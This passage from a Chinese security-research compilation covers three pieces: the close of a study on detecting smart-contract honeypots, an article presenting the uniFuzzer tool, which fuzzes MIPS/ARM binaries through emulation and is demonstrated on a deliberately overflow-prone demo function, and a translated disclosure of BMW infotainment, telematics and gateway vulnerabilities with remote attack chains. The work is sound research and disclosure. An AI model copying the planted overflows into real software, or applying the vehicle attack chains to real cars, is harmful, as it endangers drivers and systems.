171.22个是完全通过隐藏状态更新蜜罐制造的。然而，加密货币的汇率是非常不稳定的，因此它们的

美元价值在日常基础上可能有很大的变化。例如，虽然 11.96以太币是最大利润，但其实际价值在提

取时仅为 500美元。因此本文发现以美元计的最大利润实际上是 3.10987以太币的蜜罐，因为在撤出

时价值为 2，609美元。在 282个蜜罐中应用这一方法，总利润为 90，118美元。

12.4 3、评价

本文具有可用源代码的智能合约的数量相当小，在编写时 Etherscan上只有 5万份具有源代码的合约。

这突出了能够在字节码级别检测蜜罐的必要性。不幸的是在检测某些蜜罐技术时是非常具有挑战性

的。例如虽然在源代码级别检测继承错乱非常简单，但是在字节码级别检测它相当困难，因为有关继

承的所有信息在编译过程中丢失，在字节码级别上不再可用。某些信息仅在源代码级别而不是字节码

级别上可用，着迫使蜜獾利用字节码中其他不太精确的信息来检测蜜罐技术。然而如第 5节所示，这

种方法降低了检测的精度，并引入了一些判断失误。最后蜜獾的另一个局限性是目前它仅限于本文描

述的八种蜜罐技术的检测，没有检测到其他蜜罐技术。然而设计蜜獾时考虑到了模块性，这样就可以

轻松地扩展蜜罐分析组件并以此检测更多蜜罐技术。
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作者：刘瑞恺

来源：http://galaxylab.com.cn/基于 unicorn和 libfuzzer的模拟执行 fuzzing/

之前，银河实验室对基于 unicorn 的模拟执行 fuzzing 技术进行了研究。在上次研究的基础上，

我们进一步整合解决了部分问题，初步实现了基于 Unicorn 和 LibFuzzer 的模拟执行 fuzzing 工具：

uniFuzzer。

关于这项研究的相关背景，可回顾实验室之前的这篇文章《基于 unicorn的单个函数模拟执行和

fuzzer实现》这里就不再缀述了。总体而言，我们想要实现的是：

1.在 x86服务器上模拟运行MIPS/ARM架构的 ELF（主要来自 IoT设备）2.可以对任意函数或者

代码片段进行 fuzzing 3.高效的输入变异

其中前 2 点，在之前的研究中已经确定用 Unicorn 解决；输入的变异，我们调研后决定采用

LibFuzzer，并利用其代码覆盖率反馈机制，提升 fuzzing效率。

在这篇文章中，我们先简要介绍下 Unicorn和 LibFuzzer，随后对模拟执行 fuzzing工具的原理进行

详细的分析，最后通过一个 demo来介绍工具的大致使用方式。

13.1 背景介绍

13.1.1 1.1 Unicorn

提到Unicorn，就不得不说起QEMU。QEMU是一款开源的虚拟机，可以模拟运行多种 CPU架构的程

序或系统。而 Unicorn正是基于 QEMU，它提取了 QEMU中与 CPU模拟相关的核心代码，并在外层

进行了包装，提供了多种语言的 API接口。

因此，Unicorn的优点很明显。相比 QEMU来说，用户可以通过丰富的接口，灵活地调用 CPU模

拟功能，对任意代码片段进行模拟执行。不过，我们在使用过程中，也发现 Unicorn存在了一些不足，

最主要的就是 Unicorn其实还不是很稳定、完善，存在了大量的坑（可以看 Github上的 issue），而且似

乎作者也没有短期内要填完这些坑的打算。另一方面，由于还有较多的坑，导致 Unicorn底层 QEMU

代码的更新似乎也没有纳入计划：Unicorn最新的 release是 2017年的 1.0.1版本，这是基于 QEMU 2

的，然而今年 QEMU已经发布到 QEMU 4了。

不过，虽然存在着坑比较多、QEMU版本比较旧的问题，对我们的模拟执行 fuzzing来说其实还好。

前者可以在使用过程中用一些临时方法先填上（后面会举一个例子）。后者的影响主要是不支持一些

新的架构和指令，这对于许多 IoT设备来说问题并不大；而旧版本 QEMU存在的安全漏洞，主要也是

和驱动相关，而 Unicorn并没有包含 QEMU的驱动，所以基本不受这些漏洞的影响。
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Figure 13.1: img

13.1.2 1.2 QEMU

关于 QEMU的 CPU模拟原理，读者可以在网上搜到一些专门的介绍，例如这篇。大致来说，QEMU

是通过引入一层中间语言，TCG，来实现在主机上模拟执行不同架构的代码。例如，如果在 x86服务

器上模拟MIPS的代码，QEMU会先以基本块（Basic Block）为单位，将MIPS指令经由 TCG这一层

翻译成 x86代码，得到 TB(Translation Block)，最终在主机上执行。

而为了提高模拟运行的效率，QEMU还加入了 TB缓存和链接机制。通过缓存翻译完成的 TB，减

少了下次执行时的翻译开销，这即就是 Unicorn所说的 JIT。而 TB链接机制，则是把原始代码基本块

之间的跳转关系，映射到 TB之间，从而尽可能地减少了查找缓存的次数和相关的上下文切换。

值得一提的是，Unicorn所提供的 hook功能，就是在目标代码翻译成 TCG时，插入相关的 TCG指

令，从而在最终翻译得到的 TB中，于指定位置处回调 hook函数。而由于 TCG指令和架构无关，因

此添加的 TCG指令可以直接适用于不同架构。

13.1.3 1.3 LibFuzzer

LibFuzzer应该许多人都不陌生，这是 LLVM项目中内置的一款 fuzzing工具，相比我们之前介绍过的

AFL，LibFuzzer具有以下优点：

1. 灵活：通过实现接口的方式使用，可以对任意函数进行 fuzzing 2. 高效：在同一进程中进行

fuzzing，无需大量 fork()进程 3.便捷：提供了 API接口，便于定制化和集成

而且，和 AFL一样，LibFuzzer也是基于代码覆盖率来引导变异输入的，因此 fuzzing的效率很高。

不过，这两者都需要通过编译时插桩的方式，来实现代码覆盖率的跟踪，所以必须要有目标的源代码。

接下来，在 uniFuzzer的原理中，我们会介绍如何结合 Unicorn和 LibFuzzer的功能，对闭源程序进行

代码覆盖率的跟踪反馈。
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13.2 uniFuzzer原理

uniFuzzer的整体工作流程大致如下：

1.目标加载：在 Unicorn中加载目标 ELF和依赖库，并解析符号 2.设置 hook：通过 Unicorn的基本

块 hook，反馈给 LibFuzzer代码覆盖率 4.fuzzing：将 Unicorn的模拟执行作为目标函数，开始 LibFuzzer

的 fuzzing

下面对各环节进行具体的介绍。

13.2.1 2.1目标加载

遇到的许多 IoT设备，运行的是 32位 MIPS/ARM架构的 Linux，所以我们初步设定的目标就是这类

架构上的 ELF文件。

如实验室之前对模拟执行研究的那篇文章中所讲，我们需要做的就是解析 ELF格式，并将 LOAD

段映射到 Unicorn的内存中。而在随后的研究中，我们发现目标代码往往会调用其他依赖库中的函数，

最常见的就是 libc中的各类 C标准库函数。通过 Unicorn的 hook机制，倒是可以将部分标准库函数通

过非模拟执行的方式运行。但是这种方式局限太大：假如调用的外部函数不是标准库中的，那么重写

实现起来就会非常麻烦。所以，我们还是选择将目标 ELF的全部依赖库也一并加载到 Unicorn中，并

且也通过模拟执行的方式，运行这些依赖库中的代码。

那么，以上所做的，其实也就是 Linux中的动态链接器 ld.so的工作。Unicorn本身并不包含这些

功能，所以一种方式是由 Unicorn去模拟执行合适的 ld.so，另一种方式是实现相关的解析代码，再调

用 Unicorn的接口完成映射。由于后一种更可控，所以我们选择了这种方式。不过好在 ld.so是开源的，

我们只需要把相关的代码修改适配一下即可。最终我们选择了uClibc这个常用于嵌入式设备的轻量库，

将其 ld.so的代码进行了简单的修改，集成到了 uniFuzzer中。

由于我们集成的是 ld.so的部分功能，导入函数的地址解析无法在运行时进行。因此，我们采取类

似 LD_BIND_NOW的方式，在目标 ELF和依赖库全部被加载到 Unicorn之后，遍历符号地址，并更

新 GOT表条目。这样，在随后的模拟执行时，就无需再进行导入函数的地址解析工作了。

集成 ld.so还带来了一个好处，就是可以利用 LD_PRELOAD的机制，实现对库函数的覆盖，这有

助于对 fuzzing目标进行部分定制化的修改。

13.2.2 2.2设置 hook

接下来需要解决的一个重要问题，就是如何获取模拟执行的代码覆盖率，并反馈给 LibFuzzer。

LibFuzzer和 AFL都是在编译目标源码时，通过插桩实现代码覆盖的跟踪。虽然 LibFuzzer的具体插桩

内容我们还没有分析，但是之前对AFL的分析应该可以作为参考。简单来说，AFL是为每个执行分支

生成一个随机数，用于标记当前分支的 ‘‘位置’’；随后在跳转到某个分支时，提取该分支的 ‘‘位置’’，

与跳转之前的上一个 ‘‘位置’’作异或，并将异或的结果作为此次跳转的标号，更新一个数组。AFL官

网上的文档提供了这一部分的伪代码：

而这个数组，记录的就是每个跳转，如 A->B，所发生的次数。AFL以此数组作为代码覆盖率的信

息，进行处理，并指导后续的变异。
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Figure 13.2: img

Figure 13.3: img

回到我们的 fuzzing工具。如之前所说，LibFuzzer和 AFL之所以需要目标的源码，是为了在编译

时，在跳转处插入相关的代码，而跳转正好对应的就是基本块这一概念。恰巧，Unicorn提供的 hook

接口中，也包含了基本块级别的 hook，可以在每个基本块被执行之前，回调我们设置的 hook函数:

另一方面，通过搜索相关资料，我们发现在 LibFuzzer 中还神奇地提供了这样一个机制，

__libfuzzer_extra_counters：

可见，类似于 AFL，通过一个记录跳转发生次数的数组，就可以作为代码覆盖率的信息。作为用

户，我们只需要按照格式，声明这样一个数组，并在每次跳转时，更新相应下标处的内容，就可以轻

松地将覆盖率信息反馈给 LibFuzzer了。

1.按照 extra counters的要求，声明一个 uint8_t类型的数组 2.设置 Unicorn对基本块的 hook，获取

到当前基本块的入口地址，并对应生成一个随机数 3.参考 AFL的方式更新数组，将此次跳转的次数

加一

其中第 2点，为基本块（即分支）生成一个随机数，AFL是在编译插桩时就生成这样的随机数并

硬编码的。对于 Unicorn来说，如果要实现这样的效果，必须修改 Unicorn的源码，在基本块翻译时加

入相应的 TCG指令。但这样做对 Unicorn本身的改动比较大，所以最终我们还是选择通过 hook的方

式，而尽量不去魔改 Unicorn破坏通用性。具体地，我们是将基本块的入口地址计算 CRC16哈希，作

为其对应的随机数。
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Figure 13.4: img

13.2.3 2.3准备环境

现在，目标已经加载到 Unicorn中，代码覆盖率反馈也已经实现，接下来就只需要准备运行环境了。通

过 Unicorn的接口，我们可以映射出栈、堆、数据等不同的内存区域，并根据目标代码的需求，设置

好相应的寄存器值。

另外，如之前所说，我们移植的 ld.so支持通过 PRELOAD的方式，覆盖掉要模拟执行的库函数。比

如说，目标代码中调用的某些库函数是不必要的，而且由于 Unicorn不支持系统调用，所以像 printf()

这类 IO输出的库函数，就可以通过 PRELOAD的方式忽略掉，而不影响代码的正常运行。当然，编译

的 preload库，需要确保其和目标 ELF是同一架构、同一符号哈希方式，才能被正确地加载到 Unicorn

中。

13.2.4 2.4运行 fuzzing

准备工作到这里已经完成，接下来就可以 fuzzing了。使用 LibFuzzer，需要用户实现 LLVMFuzzerTe-

stOneInput(const uint8_t *data, size_t len)这个函数，在其中调用要 fuzzing的函数，在这里即就是目标

代码的 Unicorn模拟。根据 LibFuzzer生成的输入和其他环境信息，Unicorn开始模拟运行指定的代码

片段，并将代码覆盖率通过 extra counters数组反馈给 LibFuzzer，从而变异生成下一个输入，再次开始

下一轮模拟运行。
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Figure 13.5: img

由于 fuzzing时所模拟运行的目标代码片段恒定不变，因此 QEMU的 JIT机制可以有效地提升运

行效率。然而，起初我们测试时，却发现并不是这样：每一轮的模拟执行，都会重新翻译一遍目标代

码。经过分析代码，我们发现这是 Unicorn的一个坑：为了解决基本块中单步执行遇到的某个问题，

Unicorn引入了一个临时解决方案，即在模拟执行停止后，清空 QEMU的 TB缓存。因此，第二轮模

拟执行时，即使是同一段代码，由于缓存被清空，还是需要再重头开始翻译。为了恢复性能，我们需

要再注释掉这个临时方案，重新编译安装 Unicorn。

13.3 示例

我们整理了上述研究结果，实现了一套概念验证代码：https://github.com/rk700/uniFuzzer，其中包含了

一个 demo。下面我们就以这个 demo为例，再次介绍整个 fuzzing的运行流程。

demo-vuln.c是要进行 fuzzing的目标，其中包含了名为 vuln()的函数，存在栈溢出和堆溢出：

可以看到，输入的内容未检查长度，就直接 strcpy()到堆上；另外，输入内容的第一个字节作为长

度，memcpy()到栈上。

接下来，我们将这段代码编译成 32位小端序的MIPS架构 ELF。首先我们需要 mipsel的交叉编译

工具，在 Debian上可以安装 gcc-mipsel-linux-gnu这个包。接下来运行

mipsel-linux-gnu-gcc demo-vuln.c -Xlinker --hash-style=sysv -no-pie -o demo-vuln

将其编译得到 ELF文件 demo-vuln。我们要 fuzzing的目标，就是其中的 vuln()函数。
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Figure 13.6: img

由于 demo-vuln提供了源代码，所以我们看到在 vuln()函数中，还调用了 printf(), malloc(), strcpy(),

memcpy(), free()这些标准库函数。其中 printf()如之前所说，可以通过 PRELOAD的机制来忽略掉；

strcpy()和 memcpy()，可以继续模拟执行 mipsel架构的 libc中的实现；比较复杂的是 malloc()和 free()，

因为一般来说 malloc()需要 brk()的系统调用，而 Unicorn还不支持系统调用。所以，我们也重新写了

一个非常简单的堆分配器，并通过 PRELOAD的方式替换掉标准库中的实现：

我们需要在 Unicorn中分配一片内存作为堆，然后每次 malloc()调用，就直接从这片内存中切一块

出来。而为了检测可能发生的堆溢出漏洞，我们参考栈溢出检测的机制，在 malloc()分配的内存末尾

加上一个固定的 canary，并在头部写入这块内存的大小，以便后续检查。free()也被简化为空，因此不

需要进行内存回收、合并等复杂操作。

接下来，我们将包含上述 preload 函数的 demo-libcpreload.c，也编译成与 demo-vuln 同样架构的

ELF动态库：

mipsel-linux-gnu-gcc -shared -fPIC -nostdlib -Xlinker --hash-style=sysv demo-libcpreload.c -o demo-libcpreload.so

现在，目标 ELF和 preload库都已经准备完成，接下来就需要编写相关代码，设置好模拟执行的环

境。uniFuzzer提供了以下几个回调接口：

* void onLibLoad(const char *libName, void *baseAddr, void *ucBaseAddr): 在每个 ELF 被加载到 Unicorn 时回调

* int uniFuzzerInit(uc_engine *uc): 在目标被加载到 Unicorn 之后回调，可以在这里进行环境的初始化，例如设置堆、栈、寄存器

* int uniFuzzerBeforeExec(uc_engine *uc, const uint8_t *data, size_t len): 每轮 fuzzing 执行前回调

* int uniFuzzerAfterExec(uc_engine *uc): 每轮 fuzzing 执行完成后回调

用户通过在目录 callback/中编写.c代码，实现上述回调函数，进行 fuzzing。针对 demo-vuln，我们

也编写了一个 callback/demo-callback.c文件作为参考。
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Figure 13.7: img

Figure 13.8: img

最终，在代码根目录下运行 make，即可编译得到最终的 fuzzing 程序 uf。运行以下命令，开始

fuzzing：

UF_TARGET=<path to demo-vuln> UF_PRELOAD=<path to demo-libcpreload.so> UF_LIBPATH=<lib path for MIPS> ./uf

相关的参数是通过环境变量传递的。UF_TARGET是要 fuzzing的目标 ELF文件，UF_PRELOAD

是要 preload 加载的自定义 ELF 动态库，UF_LIBPATH 是依赖库的搜索路径。在 Debian 上安装

libc6-mipsel-cross这个包，应该就会安装所需的mipsel库，此时依赖库的搜索路径就在/usr/mipsel-linux-

gnu/lib/。

下图是一个 fuzzing触发的崩溃：

可以看到，uniFuzzer检测到了堆溢出。触发漏洞的，是长度 68 bytes的字符串，当其被 strcpy()到

长度为 60 bytes的堆时，canary的值被修改，最终被检测发现。

下图是另一个 fuzzing触发的崩溃：
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这次的输入只有 1个字符，\xef。其被作为 memcpy()的参数，复制了超长的内容到 128 bytes的栈

变量上，从而修改了 vuln()函数返回地址，触发了内存访问错误。

13.4 总结

通过结合 Unicorn和 LibFuzzer的功能，我们实现了对闭源代码的 fuzzing。上述开源的 uniFuzzer代码

其实还属于概念验证阶段，许多功能例如系统调用的支持、其他架构/二进制格式的支持等等，还需要

后续进一步完善。也欢迎在这方面有研究的小伙伴多提建议和 PR，进一步完善功能。

13.4.1 平安银河实验室

关于平安银河实验室

银河实验室（Galaxy Lab）是平安集团信息安全部下的一个相对独立的安全实验室，主要从事安全技

术研究和安全测试工作。团队内现在覆盖逆向，物联网，web，android，ios，云平台区块链安全等多

个安全方向。

关于作者

刘瑞恺，平安银河实验室资深安全研究员，从事 Linux, Android,二进制相关安全研究，擅长二进制漏

洞挖掘；

微信公众号二维码

欢迎关注银河实验室，聚焦信息安全研究
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宝马汽车安全评估报告

译者：车盾科技

来源：https://www.anquanke.com/post/id/186116

14.1 0x01介绍

近年来，越来越多的宝马汽车配备了新一代 ‘‘智能网联’’的信息娱乐系统 (例如HU_NBT/HU_ENTRYNAV)

–也叫做车载系统 –和远程信息处理控制系统 (例如 TCB).虽然这些组件显著提高了用户体验和便利

性,但他们也为新的攻击提供了机会.

在我们的工作中,我们系统地对多辆宝马汽车的车载系统、远程信息处理控制系统和中央网关模

块的硬件和软件进行了深入而全面的分析. 通过主要关注这些系统的各种外部攻击表面,我们发现通

过一组远程攻击表面 (包括 GSM通信、BMW远程服务、BMW ConnectedDrive服务、UDS远程诊断、

NGTP协议和蓝牙协议),可以对宝马汽车进行远程目标攻击. 因此,攻击者可以通过利用不同车辆组件

中存在的多个漏洞的复杂供应链,对宝马汽车的 CAN总线进行远程控制. 此外,即使没有互联网连接的

情况下,我们也能够以物理访问方式 (例如 USB、以太网和 OBD-II)危害车载系统. 根据我们的测试,我

们确认所有漏洞都会影响各种现代宝马车型.

我们的研究结果证明,在选定宝马车辆模块的特定速度之上获得信息娱乐系统、T-Box组件和 UDS

通信的本地和远程访问是可行的,并且能够通过执行任意的、未经授权的诊断请求获得对 CAN总线的

控制.

14.2 0x02研究描述

从安全的角度来看,现代宝马汽车会暴露出几个远程攻击表面以及物理攻击表面. 在本文中,我们重点

关注三个重要的车辆组件: 信息娱乐系统 (也叫做车载系统),远程信息处理控制系统和中央网关模块,

它们容易受到外部攻击的影响. 根据我们对宝马汽车车载网络的研究,我们发现所有三个组件都通过物

理总线 (例如 USB，CAN总线，以太网)与其他组件紧密配合.
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在对固件进行深入的安全性分析后,我们发现这些车载组件存在 14个漏洞. 我们发现的所有软件漏

洞都可以通过在线重新配置和离线固件更新 (而不是空中升级)来修复.

目前,宝马正在制定修复计划,一些高优先级的对策正在推出.

14.2.1 2.1信息娱乐系统

宝马汽车的车载信息娱乐系统 (也叫做 NBT车载系统)由两部分组成: hu-intel系统和 hu-jacinto系

统.

hu-intel. QNX系统运行在 high-layer芯片 (Intel x86)上, 主要负责多媒体服务和 BMW Connected-

Drive服务.

hu-jacinto. 在 Jacinto ARM芯片上运行的 QNX系统,是一种用于处理电源管理和 CAN总线通信的

low-layer芯片.
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hu-intel和 hu-jacinto都可以通过 QNET相互通信. 远程信息处理控制系统通过 USB连接到 hu-intel,

车载和 BMW远程服务器之间的所有通信数据都将被传输. hu-jacinto和远程信息处理控制系统都连

接到 K-CAN总线,这是一个用于信息娱乐的专用 CAN总线. 为了安全隔离,以太网交换机阻止了从

hu-intel到中央网关模块的以太网连接,在较新的 BMW汽车 (例如 BMW I3)中,中央网关模块和以太

网交换机都集成到车身控制器模块 (BDC/FEM)上了.
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2.1.1 USB接口

NBT 在 QNX OS 中提供了一些内置的 io-pkt 网络驱动程序, 用于通过 USB 接口建立以太网

网络. 根据 hu-intel 系统中的 USB 配置文件 (/opt/sys/etc/umass-enum.cfg), 它默认支持某些特定的

USB-to-ETHERNET适配器.

使用网络驱动程序时,如果插入了某些特定芯片组的 USB加密模块,将启用 USB以太网网络. NBT

车载将充当具有固定 IP地址 (192.168.0.1)的网络网关. 更糟糕的是,这种 USB以太网接口没有任何安

全限制,这使得可以访问主机的内部网络,然后通过端口扫描检测许多暴露的内部服务.
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本地代码执行. 有许多更新服务在 hu-intel系统中运行 (例如导航更新/软件更新)并监控 USB存储

器. 随着 USB存储器中提供的预期更新内容, NBT将进入一定的升级阶段. 有些内容是由 BMW私钥

签署的,有些则不是,这使我们有机会在 USB存储器中准备好格式错误的内容,并利用更新服务中存在

的一些漏洞来获得具有 root权限的 hu-intel系统的控制权.
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还有另一种获取 root shell的方法，稍后将对此进行解释.

2.1.2 OB-II上的 E-NET

E-NET是一种车载以太网网络,托管在宝马汽车的 OBD-II接口上. 通过 E-NET,汽车工程师可以连

接到中央网关,并对车载系统进行离线诊断和固件更新. 相应地,在 hu-intel系统中,点对点诊断服务负

责处理来自中央网关的请求. 在对中央网关和 NBT之间的诊断协议进行逆向工程后,我们发现了可用

于绕过代码签名机制的漏洞,并成功从 hu-intel系统获得了 root shell.

此外, 考虑一种成本较低的方式: 通过使用 USB 以太网加密模块, 黑客也可以 root QNX 系统

(hu-intel),该系统使用 en5网卡接口、具有固定 IP地址 (192.168.0.1).
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2.1.3蓝牙栈

凭借内置的蓝牙功能, NBT允许移动电话连接到它以进行免提通话. 由于我们已获得具有 root权限

的 hu-intel系统的访问权限,因此我们确定了负责处理蓝牙功能的特定服务. 通过逆向工程,我们认为它

使用第三方蓝牙堆栈库,它是蓝牙堆栈的管理和服务组件的实现. 通过向车载发送格式错误的软件包对

蓝牙堆栈进行模糊测试后,最终我们得到了一个格式错误的软件包,可能导致蓝牙堆栈中的内存损坏.
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因此,通过简单地将 NBT设置为配对模式,我们可以利用此漏洞在没有 PIN码的 hu-intel系统中崩

溃蓝牙堆栈. 因此,由于内部监视机制,导致主机重启.

2.1.4 ConnectedDrive服务
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NBT的 BMW ConnectedDrive服务通过内置在远程信息控制系统中的嵌入式 SIM卡来使用蜂窝网

络连接,为客户提供广泛的在线功能,包括 ConnectedDrive商店、TeleServices、实时交通信息 (RTTI)、

智能紧急呼叫、在线天气和在线新闻. ConnectedDrive服务提供的大多数在线功能都由车载浏览器处

理,即 NBT中所谓的 “DevCtrlBrowser_Bon”.

“DevCtrlBrowser_Bon’’使用自定义的浏览器引擎. 它似乎是由 Harman为车载信息娱乐系统开发的.
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远程执行代码. 在我们使用通用软件无线电外围设备 (USRP)和 OpenBTS实现稳定的 GSM网络之

后,所有来自 ConnectedDrive服务的流量都被捕获,并且由于 NBT中的有一些不安全的 ConnectedDrive

服务编码实现, 我们还成功拦截了来自 ConnectedDrive服务的网络流量. 之后, 我们可以自由地找到

“DevCtrlBrowser_Bon’’中的错误. 然后我们利用 “DevCtrlBrowser_Bon’’中的内存损坏漏洞,并使用浏

览器权限在车载中实现远程代码执行. 最后,通过利用前面提到的漏洞,我们实现了 root权限升级,并通

过与 2.1.1章节不同的路径从 NBT获得了一个远程 root shell.

2.1.5 K-CAN总线

通过利用上述漏洞访问高级别 QNX 系统 (hu-intel) 后, 我们还可以通过 QNET 登录低级别的

hu-jacinto系统. 如上所述，hu-jacinto系统运行在 Jacinto ARM芯片上,负责处理 CAN消息. 通过深入

分析,我们找到了两种在 K-CAN总线上发送任意 CAN消息的方法:

（1）虽然数据表不向公众开放，但我们可以重用 TI开发的 BSP项目中的一些 CAN总线驱动程序

源代码来操作 Jacinto芯片的特殊存储器来发送 CAN消息.

（2）通过动态挂载 CAN总线驱动程序用于传输 CAN消息的功能，我们还能够稳定地向 K-CAN总

线发送任意 CAN消息.

通过将漏洞链接在一起，我们能够远程破坏 NBT.之后，我们还可以利用中央网关模块中实现的一

些特殊远程诊断接口发送任意诊断消息 (UDS)来控制不同 CAN总线上的 ECU.

14.2.2 2.2远程信息处理控制系统

远程信息处理控制系统通过蜂窝网络以及 BMW远程服务 (例如远程解锁，环境制御等)为 BMW连接

的车辆提供电话功能和远程信息处理服务 (例如，E-Call，B-Call等). 在本节中，我们的目标是德国公

司 “Peiker Acustic GmbH’’生产的远程信息通信盒 (TCB)控制系统，这是最广泛使用的远程信息处理

控制系统，在现代宝马汽车中配备了 NBT和 ENTRYNAV车载系统.

硬件架构. TCB控制单元可分为两部分，上层部分为MPU，基于带有 AMSS RTOS（REX OS）的

Qualcomm MDM6200基带处理器。通过嵌入式 SIM卡，MDM6200负责 TCB和 BMW远程服务器之

间的远程信息处理通信. 下层部分是 MCU，一个基于飞思卡尔 9S12X的 CAN控制器，通过 K-CAN

总线直接连接到中央网关模块. MPU(MDM6200基带)使用基于 UART的 IPC机制与 MCU(Freescale

9S12X)进行通信.
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软件架构. 远程信息通信盒 (TCB)控制系统是 BMW ConnectedDrive系统功能的平台之一. TCB可

以建立连接 GSM和 UMTS网络，在我们对固件进行反向工程时，我们发现 TCB将支持以下功能：

\1. 增强紧急呼叫

\2. BMW远程服务 (例如远程门锁解锁，环境制御等)

\3. BMW TeleService诊断，包括 TeleService帮助
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\4. BMW TeleService Call

\5. BMW LastStateCall

\6. 其他人

高通公司为基于 ARM 的高级模式用户软件 (AMSS) 开发的 REX OS(实时操作系统) 在 TCB 的

MPU上运行. 有超过 60个系统任务 (“CallManager’’，“Diag_task’’，“Voice’’，“GPRS LLC’’等)，以及

大约 34个应用程序任务 (“NGTPD’’，“NAD Diag’’，“SMSClient”, “LastStateCall’’等）在为上面提到的

多个功能工作.

2.2.1使用 NGTP进行远程服务

下一代远程信息处理模式 (NGTP)是一种技术中立的远程信息处理方法，旨在为汽车，远程信息处

理和车载技术行业提供更大的灵活性和可扩展性，为驾驶员，乘客和车辆本身提供更好的连接. NGTP

提供 BMW车辆中的 BMW远程服务，bmwinfo和 myinfo等功能. 根据原始设计，一些 NGTP消息应

通过 HTTPS传输到 TCB.在对固件进行反向工程之后，我们发现通过 SMS直接发送任意 NGTP消息

以触发与通过 HTTPS相同的各种远程信息处理功能是有效的，加密/签名算法是公知的，加密密钥也

是硬编码的.

经过一些深入的研究，我们完全恢复了 NGTP协议，并使用 USRP和 OpenBTS来模拟 GSM网络，

然后用信号抑制器抑制 TSP信号，使我们的伪基站为 BMW车辆提供服务. 最后，我们可以直接向

BMW车辆发送任意 NGTP消息，以触发 BMW远程服务.
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注意：所有这些测试都是在实验室环境中进行的，用于研究目的。不要在公共场所试图这样做.

2.2.2远程诊断

在 TCB的固件中，“LastStateCall’’任务负责远程诊断和诊断数据收集. 一旦 “LastStateCall’’任务

启动，就会调用函数 “LscDtgtNextJob’’从固件的全局缓冲区中提取诊断 CAN消息 (UDS)，然后通过

K-CAN总线将诊断消息发送到中央网关. 中央网关将这些诊断消息传输到不同 CAN总线上的目标

ECU，最后通知 TCB将相应的响应数据从目标 ECU通过 HTTPS上传到 BMW远程服务器.

远程执行代码. 在对 TCB固件进行了一些艰难的逆向工程之后，我们还发现了一个内存错误漏洞，

它允许我们绕过签名保护并在固件中实现远程代码执行. 到目前为止，我们能够在没有任何用户交互

的情况下远程 root TCB，并发送任意诊断消息来控制 CAN总线上的 ECU，如 PT-CAN，K-CAN等

14.2.3 2.3中央网关模块

出于不同的设计目的，宝马汽车的中央网关模块集成在不同的系统中 (例如 FEM和 BDC).在较旧的

系列中，ZGW--一个独立的网关 ECU--是车载网络的中央网关模块。在较新的系列 (例如 BMW I3)中，

中央网关模块集成在一些车身控制器模块 (例如 BDC和 FEM)中. 我们选择 ZGW和 BDC作为我们的

研究目标，代表宝马汽车的两代中央门户模块.

中央网关模块由定制的 MPC5668芯片组成，这是 PowerPC架构. 它连接到一些 CAN总线，以及

LIN，FlexRay和MOST总线. 中央网关最重要的功能是从远程信息处理控制系统和车载系统接收远程

诊断 CAN消息 (UDS)，然后将诊断消息传送到不同 CAN总线上的其他 ECU.
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2.3.1跨域诊断消息

在研究期间，通过中央网关模块中的远程诊断功能，我们可以利用中央网关中的远程诊断功能将

UDS消息发送到其他 ECU.在正常情况下，当中央网关模块处理来自远程信息处理控制系统或车载系

统的合法远程诊断消息时没有危险，此功能可能是一个大问题，它为黑客提供了一个潜在的攻击面来

控制其他 ECU并破坏安全隔离不同的域. 考虑到我们已远程控制远程信息处理控制系统和车载系统，

我们很容易使中央网关模块传输受控诊断消息，以便操纵 CAN总线上的 ECU(例如 PT-CAN，K-CAN

等).

2.3.2 UDS缺乏高速限制

应正确设计安全诊断功能，以避免在异常情况下使用不当。但是，我们发现即使在正常行驶速度

下 (在 BMW i3上确认)，大多数 ECU仍然会响应诊断信息，这可能会导致严重的安全问题。如果攻击

者调用某些特殊的 UDS例程 (例如重置 ECU等)，情况会变得更糟.

14.3 0x03漏洞调查结果

宝马已经确认了以下所有漏洞和 CVE：
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14.4 0x04供给链

在我们发现一系列漏洞主要存在于现代宝马汽车的不同车辆部件中之后，我们仍然希望在现实世界的

情景中评估这些漏洞的影响，并试图找出潜在的危险.

在我们的研究中，我们已经找到了一些通过向 ECU发送任意诊断消息来通过不同类型的攻击链来

影响车辆的方法.

攻击链旨在通过中央网关模块实现对其他 CAN总线的任意诊断消息传输，以便影响或控制不同

CAN总线上的 ECU，因为我们能够在 NBT和 TCB中发送诊断消息.

所有攻击链都可以分为两类：接触式攻击和非接触式攻击. 我们确实相信这些攻击链可以由技术娴

熟的攻击者以极低的成本使用 –有足够的研究.

14.4.1 4.1接触攻击

在真实的场景中，仍有很多人有机会接触 NBT，所以接触到的攻击仍然是一种应该引起注意的高潜在

攻击方法.

借助 USB接口和 OBD-II接口的严重漏洞，攻击者可以轻松地使用它们在 NBT中安装后门，然后

通过中央网关模块操纵车辆功能.
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14.4.2 4.2非接触式攻击

非接触式攻击基于车辆的无线接口. 在这种类型的攻击链中，攻击者可能会远程影响车辆. 在这一部分

中，将说明通过蓝牙和蜂窝网络的攻击链.

4.2.1蓝牙频道

蓝牙是车辆中 NBT的典型短程通信协议. 由于前面提到的蓝牙堆栈中存在漏洞，当蓝牙处于配对

模式时，攻击者可能会在未经身份验证的情况下影响车载的可用性. 但是，只有当攻击者非常接近车

辆并使 NBT异常工作时才会发生这种攻击.
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4.2.2蜂窝网络

免责声明：我们在一个受控制的环境中进行了道德黑客研究 (不要在现实世界的移动网络中尝试).

如果 TCB落入伪基站，攻击者可以借助一些放大器设备将攻击距离扩展到较宽的距离. 从技术上

讲，即使汽车处于驾驶模式，也可以从数百米发动攻击. 在 TSP和车辆之间使用MITM攻击，攻击者

可以远程利用 NBT和 TCB中存在的漏洞，导致在 NBT和 TCB中留下后门. 通常，恶意后门可以将受

控诊断消息注入车辆中的 CAN总线.

14.5 0x05有漏洞的宝马车型

在我们的研究中，我们发现的漏洞主要存在于车载系统，远程信息处理控制系统 (TCB)和中央网关模

块中. 根据我们的研究实验，我们可以确认车载系统中存在的漏洞会影响几款 BMW车型，包括 BMW

i系列，BMW X系列，BMW 3系，BMW 5系，BMW 7系. 远程信息处理控制系统 (TCB)中存在的漏

洞将影响 2012年生产的配备该模块的 BMW车型.

下表列出了我们在研究过程中测试过的易受攻击的 BMW型号，以及每种型号的特定组件的固件

版本.
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由于不同的宝马汽车型号可能配备不同的组件，甚至相同的组件可能在产品生命周期中具有不同

的固件版本. 因此，从我们这方面来看，有漏洞的车型的范围很难得到准确确认. 从理论上讲，从我们

的角度来看，配备这些易受攻击部件的宝马车型可能会受到影响.

宝马证实，上面提到的车载系统和 T-Box组件中存在漏洞. 感兴趣的客户可以通过关注宝马官方客

